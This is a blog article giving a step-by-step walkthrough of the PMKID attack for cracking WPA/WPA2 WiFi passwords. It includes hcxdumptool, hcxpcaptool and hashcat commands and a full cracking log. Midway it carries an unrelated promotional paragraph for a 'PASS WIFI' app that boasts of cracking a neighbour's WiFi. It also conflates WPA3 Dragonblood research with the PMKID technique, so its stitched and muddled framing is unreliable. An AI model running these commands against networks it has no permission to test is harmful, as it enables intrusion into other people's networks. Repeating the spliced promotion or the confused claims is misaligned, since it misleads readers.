Saturday, July 20, 2024

How to Hack WPA/WPA2 PSK Enabled WiFi Password in Your Network

New Attack method for WiFi hackers discovered to hack WiFi Password secured with WPA/WPA2 in WiFi networks that allow attackers to gain a Pre-shared Key hash that is used to hack Wifi Password used by targeted victims.

WiFi Alliance recently updated the WiFi protocol WPA3 and claimed that impossible to crack since it deployed with a high-level encryption protocol.

But the researcher provides it wrong by exploiting the vulnerability and named it Dragonblood.

What is WPA?

Wi-Fi Protected Access (WPA) available since 2003, later security researchers find a severe vulnerability in WPA that let WiFi hackers could easily exploit and take over the WiFi Network.

Later WiFi Alliance fixed the vulnerability and released WPA2 in 2004 which is a common shorthand for the full IEEE 802.11i  which required to certificate from WiFI Alliance to protect the network from WiFi hackers.

Very recently, WPA3 was announced by Wi-Fi Alliance as a replacement for WPA2 after a researcher found the critical vulnerability in WPA2 that allows WiFi hackers to take over the vulnerable network.

This new WiFi Hacker Method is discovered during the attack against the recently released WPA3 security standard which is exceedingly harder to crack since it used Simultaneous Authentication of Equals (SAE), a new key establishment protocol.

The new WP3 Security Standard released by Wi-Fi Alliance provides Next-generation Wi-Fi Security with new capabilities to enhance both personal and enterprise networks and the new WP3 security standard that is a successor of WPA2.

The researcher finds this attack for WiFi Hacker to compromise the WPA/WPA2 password without performing EAPOL 4-way handshake.

According to Steube who is the developer of the Hashcat password cracking tool, The new attack is performed on the RSN IE (Robust Security Network Information Element) of a single EAPOL frame.

Also, this attack works Against all types of  802.11i/p/q/r networks with roaming functions enabled, and it’s unclear how many vendors and how many routers this technique will work.

How Does this WPA/WPA2 Work for WiFi Hacker and WiFi hacking Process?

If you are looking for an app that gives you free access to the Internet then this is it! This app is really the fastest to hack WiFi passwords.I tested it myself and was very pleasantly surprised by how easy it was to crack my neighbor’s WiFi code.

Its installation is very simple, just go to the publisher’s website to download PASS WIFI.

Once it is launched, you will have the wireless network around you with their password displayed on your screen. You will have a lot of fun accessing the Internet network around you using PASS WIFI.

A robust Security Network Information Element (RSN IE) is an optional one in 802.11 management frames and its works in a single EAPOL frame.

Pairwise Master Key ID (PMKID) can be captured from RSN IE whenever the user tries to authenticate with the router.

“Here we can see that the PMKID that has been captured is computed by using HMAC-SHA1 where the key is the PMK and the data part is the concatenation of a fixed string label “PMK Name”, the access point’s MAC address and the station’s MAC address.”

In order to make use of this new attack, as a WiFi Hacker,  you need the following tools:

  • hcxdumptool v4.2.0 or higher
  • hcxtools v4.2.0 or higher
  • hashcat v4.2.0 or higher

WiFi Hacker – Step 1

First Run hcxdumptool to gain the  PMKID from the AP  and dump the file in PCAP format using the following code.

$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 –enable_status

The output looks like this:

start capturing (stop with ctrl+c)
INTERFACE:……………: wlp39s0f3u4u5
FILTERLIST……………: 0 entries
MAC CLIENT……………: 89acf0e761f4 (client)
MAC ACCESS POINT………: 4604ba734d4e (start NIC)
EAPOL TIMEOUT…………: 20000
ANONCE……………….: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69

WiFi Hacker – Step 2

Run the next tool called hcxpcaptool to convert the captured data from pcapng format to a hash format accepted by hashcat using the following code.

WiFi Hacker
$ ./hcxpcaptool -z test.16800 test.pcapng

The content of the written file will look like this and it split into 4 columns.



Also, Researcher recommends for WiFi Hacker that, While not required it is recommended to use options -E -I and -U with hcxpcaptool. We can use these files to feed hashcat. They typically produce good results.

  • -E retrieve possible passwords from WiFi traffic (additional, this list will include ESSIDs)
  • -I retrieve identities from WiFi-traffic
  • -U retrieve usernames from WiFi-traffic
$ ./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng

  Step 3 

Finally, Run hashcat to crack it, we need to use the hash mode PMKID -16800, and we can be used this hash as any other hash type using the following code,

$ ./hashcat -m 16800 test.16800 -a 3 -w 3 ‘?l?l?l?l?l?lt!’

Finally, it cracked the hash  WPA-PMKID-PBKDF2

hashcat (v4.2.0) starting…

OpenCL Platform #1: NVIDIA Corporation
* Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU
* Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Watchdog: Temperature abort trigger set to 90c


Session……….: hashcat
Status………..: Cracked
Hash.Type……..: WPA-PMKID-PBKDF2
Hash.Target……: 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf…a39f3a
Time.Started…..: Thu Jul 26 12:51:38 2018 (41 secs)
Time.Estimated…: Thu Jul 26 12:52:19 2018 (0 secs)
Guess.Mask…….: ?l?l?l?l?l?lt! [8]
Guess.Queue……: 1/1 (100.00%)
Speed.Dev.#1…..:   408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#2…..:   408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#3…..:   412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#4…..:   410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#*…..:  1641.3 kH/s
Recovered……..: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress………: 66846720/308915776 (21.64%)
Rejected………: 0/66846720 (0.00%)
Restore.Point….: 0/11881376 (0.00%)
Candidates.#1….: hariert! -> hhzkzet!
Candidates.#2….: hdtivst! -> hzxkbnt!
Candidates.#3….: gnxpwet! -> gwqivst!
Candidates.#4….: gxhcddt! -> grjmrut!
HWMon.Dev.#1…..: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1
HWMon.Dev.#2…..: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1
HWMon.Dev.#3…..: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1
HWMon.Dev.#4…..: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1

Started: Thu Jul 26 12:51:30 2018
Stopped: Thu Jul 26 12:52:21 2018

When we look at previously available WiFi Hacking attacks for WiFi Hackers, we need to sit back and wait until the target user logs in later we can crack the key by capturing the four-way handshake.

To get access to the PMKID, this new attack has to attempt to authenticate to the wireless network later we can easily hack the WiFi password and the crucial pre-shared on behalf of the WiFi Hacker.

Also, this method is much easier to access the hash that contains the pre-shared key, and later moment the hash will be cracked; also this attack is a little complex based on the complexity of the password.


Recently WiFi Alliance released a highly secured protocol WPA3 for WiFi Networks but WPA3 was Hacked again by the team of security researchers due to a security flaw in the protocol. Using the above method now WiFi Hackers can hack the WiFi Password.

This article is completely for educational purposes, please do not attempt to test any WiFi network without permission.

You can follow us on LinkedinTwitter, and Facebook for daily Cybersecurity updates also you can take the Best Cybersecurity course online to keep yourself updated


Latest articles

Hackers Claiming Dettol Data Breach: 453,646 users Impacted

A significant data breach has been reported by a threat actor known as 'Hana,'...

CrowdStrike Update Triggers Widespread Windows BSOD Crashes

A recent update from cybersecurity firm CrowdStrike has caused significant disruptions for Windows users,...

Operation Spincaster Disrupts Approval Phishing Technique that Drains Victim’s Wallets

Chainalysis has launched Operation Spincaster, an initiative to disrupt approval phishing scams that have...

Octo Tempest Know for Attacking VMWare ESXi Servers Added RansomHub & Qilin to Its Arsenal

Threat actors often attack VMware ESXi servers since they accommodate many virtual machines, which...

TAG-100 Actors Using Open-Source Tools To Attack Gov & Private Orgs

Hackers exploit open-source tools to execute attacks because they are readily available, well-documented, and...

macOS Users Beware Of Weaponized Meeting App From North Korean Hackers

Meeting apps are often targeted and turned into weapons by hackers as they are...

Hackers Exploiting Legitimate RMM Tools With BugSleep Malware

Since October 2023, MuddyWater, which is an Iranian threat group linked to MOIS, has...
BALAJI is an Ex-Security Researcher (Threat Research Labs) at Comodo Cybersecurity. Editor-in-Chief & Co-Founder - Cyber Security News & GBHackers On Security.

Free Webinar

Low Rate DDoS Attack

9 of 10 sites on the AppTrana network have faced a DDoS attack in the last 30 days.
Some DDoS attacks could readily be blocked by rate-limiting, IP reputation checks and other basic mitigation methods.
More than 50% of the DDoS attacks are employing botnets to send slow DDoS attacks where millions of IPs are being employed to send one or two requests per minute..
Key takeaways include:

  • The mechanics of a low-DDoS attack
  • Fundamentals of behavioural AI and rate-limiting
  • Surgical mitigation actions to minimize false positives
  • Role of managed services in DDoS monitoring

Related Articles